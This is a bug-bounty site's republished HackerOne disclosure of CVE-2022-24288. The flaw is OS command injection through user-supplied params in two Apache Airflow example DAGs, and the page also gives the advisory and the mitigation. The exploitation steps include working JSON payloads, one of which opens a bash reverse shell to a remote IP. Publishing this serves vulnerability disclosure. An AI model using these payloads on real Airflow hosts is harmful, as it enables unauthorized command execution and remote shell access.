Skip to content
RCE Disclosed report Intermediate CVE-2022-24288

CVE-2022-24288: Apache Airflow: TWO RCEs in example DAGs

Two example DAGs in Apache Airflow passed user-supplied parameters into BashOperator commands without sanitisation, allowing an attacker to inject OS commands. An attacker could execute arbitrary commands on the host, especially if Airflow was configured for unauthenticated access.

x_h1 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 3 days
  • Paid in 3 days
  • Disclosed after 33 days

Summary by the program

CVE-2022-24288: Apache Airflow: RCE in example DAGs

Severity: high

Description: In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection from the web UI.

Mitigation: This can be mitigated by ensuring [core] load_examples is set to False.

Credit: The Apache Airflow PMC would like to thank Kai Zhao of the TToU Security Team for reporting this issue.

https://lists.apache.org/thread/dbw5ozcmr0h0lhs0yjph7xdc64oht23t

The report

In Apache Airflow, prior to version 2.2.4, In DAG script of airflow , there is two command injection vulnerability (RCE) in the some scripts, which an attacker can execute arbitrary commands on the system. The impact is even greater when airflow is configured for unauthenticated access. These two RCEs are assigned the same CVE number(CVE-2022-24288)

Impact

#RCE one: example_passing_params_via_test_command.py command injection

##Vulnerability summary: In Apache Airflow, prior to version 2.2.4, there is a command injection vulnerability (RCE) in the script (example_passing_params_via_test_command.py), which can obtain the permission of the operating system. ##Vulnerability principle:

  1. It can be seen from the source code of example_passing_params_via_test_command script that there is the function of executing bash command, The parameters Foo and MIFF in the template expressions {{params. Foo}} and {{params. Foo}} are externally controllable and rendered through the jiaja2 template:
RCE-one-1.png
RCE-one-1.png From the original on HackerOne
RCE-one-2.png
RCE-one-2.png
  1. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;
RCE-one-3.png
RCE-one-3.png From the original on HackerOne

##Vulnerability exploitation :

  1. Enter the DAGs menu and start example_passing_params_via_test_command task, select “Trigger DAG w/ config”.

http://192.168.3.17:8080/trigger?dag_id=example_passing_params_via_test_command

RCE-one-4.png
RCE-one-4.png From the original on HackerOne
  1. To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).
RCE-one-5.png
RCE-one-5.png From the original on HackerOne

PAYLOAD:{"foo":"\";touch /tmp/pwnedaaaaa;\""}, Then click trigger to execute the task.

RCE-one-6.png
RCE-one-6.png From the original on HackerOne
RCE-one-7.png
RCE-one-7.png

Through the log and background view, it can be seen that any command has been executed successfully.

RCE-one-8.png
RCE-one-8.png From the original on HackerOne
RCE-one-9.png
RCE-one-9.png
  1. Further execute the reverse shell to obtain operating system permissions.

Payload: {"foo":"\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\""}

RCE-one-10.png
RCE-one-10.png From the original on HackerOne
RCE-one-11.png
RCE-one-11.png

#RCE two: tutorial.py DAG command injection

##Vulnerability summary: Ithere is a command injection vulnerability (RCE) in the script (tutorial.py), which an attacker can execute arbitrary commands on the system. ##Vulnerability principle:

  1. It can be seen from the source code of tutorial script that there is the function of executing bash command, The parameters “my_param” in the template expressions {{params.my_param}} is externally controllable and rendered through the jinja2 template:
RCE-two-1.png
RCE-two-1.png From the original on HackerOne
  1. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;
RCE-two-2.png
RCE-two-2.png From the original on HackerOne

#Vulnerability exploitation:

  1. Enter the DAGs menu and start tutorial task, select “Trigger DAG w/ config”.

http://192.168.3.17:8080/trigger?dag_id=tutorial

RCE-two-3.png
RCE-two-3.png From the original on HackerOne
  1. To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).
RCE-two-4.png
RCE-two-4.png From the original on HackerOne

PAYLOAD:{"my_param":"\";touch /tmp/pwnedddddd;\""}, Then click trigger to execute the task.

RCE-two-5.png
RCE-two-5.png From the original on HackerOne
RCE-two-6.png
RCE-two-6.png

Through the log and background view, it can be seen that arbitrary command has been executed successfully.

RCE-two-7.png
RCE-two-7.png From the original on HackerOne

The original report as published on HackerOne, by x_h1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute arbitrary OS commands on the Airflow host, and the impact is greater when Airflow is configured for unauthenticated access.

What the attacker needed

Airflow prior to 2.2.4 with example DAGs loaded; Access to the Airflow web UI; Ability to trigger a DAG with config

The fix

The issue affects versions prior to 2.2.4 and can be mitigated by disabling example DAG loading.

How it was found

  1. Open the DAGs menu and start the example_passing_params_via_test_command task using 'Trigger DAG w/ config'.
  2. Supply a crafted parameter value that closes the quoting and appends an OS command.
  3. Trigger the task and observe that the command executed via the log and background view.
  4. Repeat the same approach with the tutorial DAG and its my_param parameter.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Apache Airflow is a tool for scheduling tasks. Some built-in example tasks took a value typed by the user and pasted it directly into a shell command. Because the value was not cleaned, a user could add extra shell commands that the server would run.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by x_h1

View all

4 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.